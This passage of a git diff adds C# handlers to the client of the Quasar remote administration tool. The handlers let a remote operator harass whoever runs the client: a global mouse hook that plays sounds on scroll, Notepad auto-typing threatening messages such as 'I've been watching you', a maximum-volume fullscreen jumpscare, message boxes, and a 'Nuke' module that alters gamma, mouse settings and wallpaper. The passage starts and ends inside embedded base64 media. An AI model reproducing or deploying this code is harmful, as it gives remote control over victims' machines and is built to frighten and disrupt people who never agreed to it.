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"); + + // ── State ──────────────────────────────────────────────────────────── + + private Thread _hookThread; + private int _hookThreadId; + private IntPtr _hookHandle = IntPtr.Zero; + private LowLevelMouseProc _proc; + private readonly ManualResetEvent _ready = new ManualResetEvent(false); + + // ── IMessageProcessor ──────────────────────────────────────────────── + + public bool CanExecute(IMessage message) => message is DoStartFartScroll || message is DoStopFartScroll; + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + if (message is DoStartFartScroll) Start(); + else if (message is DoStopFartScroll) Stop(); + } + + // ── Hook lifecycle ─────────────────────────────────────────────────── + + private void Start() + { + if (_hookHandle != IntPtr.Zero) return; + + _proc = HookCallback; + _ready.Reset(); + + _hookThread = new Thread(() => + { + _hookThreadId = GetCurrentThreadId(); + + using (var proc = System.Diagnostics.Process.GetCurrentProcess()) + using (var mod = proc.MainModule) + _hookHandle = SetWindowsHookEx(WH_MOUSE_LL, _proc, GetModuleHandle(mod.ModuleName), 0); + + _ready.Set(); + + MSG msg; + while (GetMessage(out msg, IntPtr.Zero, 0, 0)) + { + TranslateMessage(ref msg); + DispatchMessage(ref msg); + } + + UnhookWindowsHookEx(_hookHandle); + _hookHandle = IntPtr.Zero; + }) { IsBackground = true }; + + _hookThread.Start(); + _ready.WaitOne(); + } + + private void Stop() + { + if (_hookThreadId != 0) + PostThreadMessage(_hookThreadId, WM_QUIT, IntPtr.Zero, IntPtr.Zero); + } + + private IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam) + { + if (nCode >= 0 && wParam.ToInt32() == WM_MOUSEWHEEL) + ThreadPool.QueueUserWorkItem(_ => PlayFart()); + + return CallNextHookEx(_hookHandle, nCode, wParam, lParam); + } + + // ── Fart playback ──────────────────────────────────────────────────── + + private void PlayFart() + { + try + { + var fmt = new WAVEFORMATEX + { + wFormatTag = 1, + nChannels = 2, + nSamplesPerSec = 48000, + wBitsPerSample = 16, + nBlockAlign = 4, + nAvgBytesPerSec = 192000 + }; + + IntPtr hWave; + if (waveOutOpen(out hWave, WAVE_MAPPER, ref fmt, IntPtr.Zero, IntPtr.Zero, 0) != 0) return; + + GCHandle pin = GCHandle.Alloc(FartPcm, GCHandleType.Pinned); + try + { + uint hdrSz = (uint)Marshal.SizeOf(typeof(WAVEHDR)); + var hdr = new WAVEHDR { lpData = pin.AddrOfPinnedObject(), dwBufferLength = (uint)FartPcm.Length }; + waveOutPrepareHeader(hWave, ref hdr, hdrSz); + waveOutWrite(hWave, ref hdr, hdrSz); + Thread.Sleep(536); + waveOutUnprepareHeader(hWave, ref hdr, hdrSz); + } + finally + { + pin.Free(); + waveOutClose(hWave); + } + } + catch { } + } + + public void Dispose() => Stop(); + } +} diff --git a/Quasar.Client/Messages/GhostTypingHandler.cs b/Quasar.Client/Messages/GhostTypingHandler.cs new file mode 100644 index 0000000..2e73bfa --- /dev/null +++ b/Quasar.Client/Messages/GhostTypingHandler.cs @@ -0,0 +1,115 @@ +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System; +using System.Diagnostics; +using System.Runtime.InteropServices; +using System.Threading; + +namespace Quasar.Client.Messages +{ + public class GhostTypingHandler : IMessageProcessor + { + [DllImport("user32.dll")] private static extern bool SetForegroundWindow(IntPtr hWnd); + [DllImport("user32.dll")] private static extern bool ShowWindow(IntPtr hWnd, int nCmdShow); + [DllImport("user32.dll")] private static extern IntPtr GetForegroundWindow(); + [DllImport("user32.dll")] private static extern short VkKeyScan(char ch); + [DllImport("user32.dll")] private static extern void keybd_event(byte bVk, byte bScan, uint dwFlags, int dwExtraInfo); + + private const int SW_RESTORE = 9; + private const uint KEYEVENTF_KEYUP = 0x0002; + private const byte VK_SHIFT = 0x10; + + private static readonly string[] Messages = + { + "I know you can hear me.", + "Stop pretending you're alone.", + "I've been watching you for a while now.", + "Did you hear that? No? You will.", + "You should close the curtains.", + "I'm closer than you think.", + "Did you check under the bed?", + "Someone was in your room last night.", + "Don't turn around.", + "I can see your face right now.", + "You really should lock your doors.", + "Have you noticed anything missing lately?", + "The calls are coming from inside the house.", + "I'll be there soon. Don't worry.", + "We've been here the whole time.", + }; + + public bool CanExecute(IMessage message) => message is DoGhostTyping; + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + new Thread(Run) { IsBackground = true }.Start(); + } + + private static void TypeChar(char c) + { + short vk = VkKeyScan(c); + if (vk == -1) return; + + byte key = (byte)(vk & 0xFF); + bool shift = ((vk >> 8) & 1) != 0; + + if (shift) keybd_event(VK_SHIFT, 0, 0, 0); + keybd_event(key, 0, 0, 0); + keybd_event(key, 0, KEYEVENTF_KEYUP, 0); + if (shift) keybd_event(VK_SHIFT, 0, KEYEVENTF_KEYUP, 0); + } + + private static void Run() + { + try + { + var rng = new Random(); + string text = Messages[rng.Next(Messages.Length)]; + + var proc = Process.Start("notepad.exe"); + if (proc == null) return; + + // wait for window handle + IntPtr hwnd = IntPtr.Zero; + for (int i = 0; i < 40; i++) + { + Thread.Sleep(200); + proc.Refresh(); + if (proc.MainWindowHandle != IntPtr.Zero) + { + hwnd = proc.MainWindowHandle; + break; + } + } + + if (hwnd == IntPtr.Zero) return; + + ShowWindow(hwnd, SW_RESTORE); + + // keep trying to focus until it actually has it + for (int i = 0; i < 20; i++) + { + SetForegroundWindow(hwnd); + Thread.Sleep(100); + if (GetForegroundWindow() == hwnd) break; + } + + Thread.Sleep(rng.Next(1200, 2500)); + + foreach (char c in text) + { + if (GetForegroundWindow() != hwnd) + SetForegroundWindow(hwnd); + + TypeChar(c); + Thread.Sleep(rng.Next(80, 200)); + + if (rng.Next(8) == 0) + Thread.Sleep(rng.Next(400, 900)); + } + } + catch { } + } + } +} diff --git a/Quasar.Client/Messages/JumpscareHandler.cs b/Quasar.Client/Messages/JumpscareHandler.cs new file mode 100644 index 0000000..1e07085 --- /dev/null +++ b/Quasar.Client/Messages/JumpscareHandler.cs @@ -0,0 +1,106 @@ +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System; +using System.Drawing; +using System.IO; +using System.IO.Compression; +using System.Runtime.InteropServices; +using System.Threading; +using System.Windows.Forms; + +namespace Quasar.Client.Messages +{ + public class JumpscareHandler : IMessageProcessor + { + [DllImport("user32.dll")] + private static extern void keybd_event(byte bVk, byte bScan, uint dwFlags, int dwExtraInfo); + + private const byte VK_VOLUME_UP = 0xAF; + + private static void MaximizeVolume() + { + for (int i = 0; i < 50; i++) + keybd_event(VK_VOLUME_UP, 0, 0, 0); + } + + public bool CanExecute(IMessage message) => message is DoJumpscare; + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + if (message is DoJumpscare js) + new Thread(() => RunJumpscare(js)) { IsBackground = true }.Start(); + } + + private static byte[] GzipDecompress(byte[] data) + { + using (var input = new MemoryStream(data)) + using (var gz = new GZipStream(input, CompressionMode.Decompress)) + using (var output = new MemoryStream()) + { + gz.CopyTo(output); + return output.ToArray(); + } + } + + private void RunJumpscare(DoJumpscare js) + { + MaximizeVolume(); + + string wavPath = Path.Combine(Path.GetTempPath(), "js_scream.wav"); + string gifPath = Path.Combine(Path.GetTempPath(), "js_scary.gif"); + + try { File.WriteAllBytes(wavPath, GzipDecompress(js.WavData)); } catch { } + try { File.WriteAllBytes(gifPath, GzipDecompress(js.GifData)); } catch { } + + Form form = null; + + var uiThread = new Thread(() => + { + try + { + using (var player = new System.Media.SoundPlayer(wavPath)) + player.Play(); + + Image gif = null; + try { gif = Image.FromFile(gifPath); } catch { } + + form = new Form + { + FormBorderStyle = FormBorderStyle.None, + WindowState = FormWindowState.Maximized, + TopMost = true, + BackColor = Color.Black, + ShowInTaskbar = false, + }; + + if (gif != null) + { + var pb = new PictureBox + { + Image = gif, + Dock = DockStyle.Fill, + SizeMode = PictureBoxSizeMode.StretchImage, + }; + form.Controls.Add(pb); + } + + Application.Run(form); + } + catch { } + }); + uiThread.SetApartmentState(ApartmentState.STA); + uiThread.IsBackground = true; + uiThread.Start(); + + // wait for form to be created, then close it after 2 seconds + Thread.Sleep(2500); + try + { + if (form != null && !form.IsDisposed) + form.Invoke(new Action(() => form.Close())); + } + catch { } + } + } +} diff --git a/Quasar.Client/Messages/MessageBoxHandler.cs b/Quasar.Client/Messages/MessageBoxHandler.cs new file mode 100644 index 0000000..608663f --- /dev/null +++ b/Quasar.Client/Messages/MessageBoxHandler.cs @@ -0,0 +1,39 @@ +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System; +using System.Threading; +using System.Windows.Forms; + +namespace Quasar.Client.Messages +{ + public class MessageBoxHandler : IMessageProcessor + { + public bool CanExecute(IMessage message) => message is DoShowMessageBox; + + public bool CanExecuteFrom(ISender sender) => true; + + public void Execute(ISender sender, IMessage message) + { + switch (message) + { + case DoShowMessageBox msg: + Execute(sender, msg); + break; + } + } + + private void Execute(ISender client, DoShowMessageBox message) + { + new Thread(() => + { + // messagebox thread resides in csrss.exe - wtf? + MessageBox.Show(message.Text, message.Caption, + (MessageBoxButtons)Enum.Parse(typeof(MessageBoxButtons), message.Button), + (MessageBoxIcon)Enum.Parse(typeof(MessageBoxIcon), message.Icon), + MessageBoxDefaultButton.Button1, MessageBoxOptions.DefaultDesktopOnly); + }) {IsBackground = true}.Start(); + + client.Send(new SetStatus { Message = "Successfully displayed MessageBox" }); + } + } +} diff --git a/Quasar.Client/Messages/NotificationMessageProcessor.cs b/Quasar.Client/Messages/NotificationMessageProcessor.cs new file mode 100644 index 0000000..d02966b --- /dev/null +++ b/Quasar.Client/Messages/NotificationMessageProcessor.cs @@ -0,0 +1,11 @@ +using Quasar.Common.Messages; + +namespace Quasar.Client.Messages +{ + public abstract class NotificationMessageProcessor : MessageProcessorBase + { + protected NotificationMessageProcessor() : base(true) + { + } + } +} diff --git a/Quasar.Client/Messages/NukeHandler.cs b/Quasar.Client/Messages/NukeHandler.cs new file mode 100644 index 0000000..0e798af --- /dev/null +++ b/Quasar.Client/Messages/NukeHandler.cs @@ -0,0 +1,483 @@ +using Quasar.Common.Messages; +using Quasar.Common.Networking; +using System; +using System.Collections.Generic; +using System.Diagnostics; +using System.Drawing; +using System.Drawing.Imaging; +using System.IO; +using System.Runtime.InteropServices; +using System.Threading; +using System.Windows.Forms; +using Microsoft.Win32; + +namespace Quasar.Client.Messages +{ + public class NukeHandler : IMessageProcessor, IDisposable + { + // ── P/Invoke ───────────────────────────────────────────────────────── + [StructLayout(LayoutKind.Sequential)] + struct RAMP + { + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 256)] public ushort[] R; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 256)] public ushort[] G; + [MarshalAs(UnmanagedType.ByValArray, SizeConst = 256)] public ushort[] B; + } + [DllImport("gdi32.dll")] static extern bool GetDeviceGammaRamp(IntPtr hdc, ref RAMP r); + [DllImport("gdi32.dll")] static extern bool SetDeviceGammaRamp(IntPtr hdc, ref RAMP r); + [DllImport("user32.dll")] static extern IntPtr GetDC(IntPtr h); + [DllImport("user32.dll")] static extern int ReleaseDC(IntPtr h, IntPtr dc); + [DllImport("user32.dll")] static extern bool EnumWindows(EnumWindowsProc fn, IntPtr lp); + [DllImport("user32.dll")] static extern bool IsWindowVisible(IntPtr h); + [DllImport("user32.dll")] static extern bool GetWindowRect(IntPtr h, out RECT r); + [DllImport("user32.dll")] static extern bool SetWindowPos(IntPtr h, IntPtr a, int x, int y, int cx, int cy, uint f); + [DllImport("user32.dll")] static extern int GetWindowLong(IntPtr h, int i); + [DllImport("user32.dll")] static extern int GetSystemMetrics(int i); + [DllImport("user32.dll")] static extern bool ShowWindow(IntPtr h, int cmd); + [DllImport("user32.dll")] static extern bool SystemParametersInfo(uint a, uint p, IntPtr v, uint f); + [DllImport("user32.dll")] static extern bool SystemParametersInfoStr(uint a, uint p, string v, uint f); + [DllImport("user32.dll")] static extern uint SendInput(uint n, INPUT[] inputs, int size); + [DllImport("user32.dll")] static extern bool SetSysColors(int n, int[] elems, uint[] colors); + [DllImport("user32.dll")] static extern IntPtr FindWindow(string cls, string win); + [DllImport("user32.dll")] static extern IntPtr FindWindowEx(IntPtr p, IntPtr a, string cls, string win); + [DllImport("user32.dll")] static extern IntPtr SendMessage(IntPtr h, uint msg, IntPtr w, IntPtr l); + [DllImport("winmm.dll")] static extern bool PlaySound(string n, IntPtr mod, uint flags); + [DllImport("winmm.dll")] static extern int waveOutSetVolume(IntPtr h, uint vol); + [DllImport("winmm.dll")] static extern int mciSendString(string cmd, System.Text.StringBuilder ret, int len, IntPtr hwnd); + + [StructLayout(LayoutKind.Sequential)] struct RECT { public int Left, Top, Right, Bottom; } + [StructLayout(LayoutKind.Sequential)] struct KEYBDINPUT { public ushort wVk, wScan; public uint dwFlags, time; public IntPtr extra; } + [StructLayout(LayoutKind.Sequential)] struct MOUSEINPUT { public int dx, dy; public uint data, flags, time; public IntPtr extra; } + [StructLayout(LayoutKind.Sequential)] struct HARDWAREINPUT { public uint msg; public ushort lo, hi; } + [StructLayout(LayoutKind.Explicit)] + struct INPUT { [FieldOffset(0)] public int type; [FieldOffset(4)] public KEYBDINPUT ki; [FieldOffset(4)] public MOUSEINPUT mi; [FieldOffset(4)] public HARDWAREINPUT hi; } + + const uint LVM_GETITEMCOUNT = 0x1004; + const uint LVM_SETITEMPOSITION = 0x100F; + const uint SWP_NOSIZE = 0x0001, SWP_NOMOVE = 0x0002, SWP_NOZORDER = 0x0004, SWP_NOACTIVATE = 0x0010; + const int GWL_STYLE = -16, WS_MAXIMIZE = 0x01000000, WS_MINIMIZE = 0x20000000; + const int SM_CXSCREEN = 0, SM_CYSCREEN = 1; + const uint WM_CLOSE = 0x0010; + const int SW_HIDE = 0, SW_SHOW = 5, SW_MINIMIZE = 6, SW_RESTORE = 9; + const uint SPI_SETMOUSEBUTTONSWAP = 0x0021, SPI_SETMOUSESPEED = 0x0071; + const uint SPI_SETDESKWALLPAPER = 0x0014; + const uint SPIF_SENDCHANGE = 0x0002, SPIF_UPDATEINIFILE = 0x0001; + const uint SND_FILENAME = 0x00020000, SND_ASYNC = 0x0001, SND_LOOP = 0x0008, SND_PURGE = 0x0040; + const uint KEYEVENTF_KEYUP = 0x0002, KEYEVENTF_EXTENDEDKEY = 0x0001; + + delegate bool EnumWindowsProc(IntPtr hWnd, IntPtr lp); + + // ── Embedded assets ────────────────────────────────────────────────── + private static readonly byte[] TrollfaceBytes = Convert.FromBase64String("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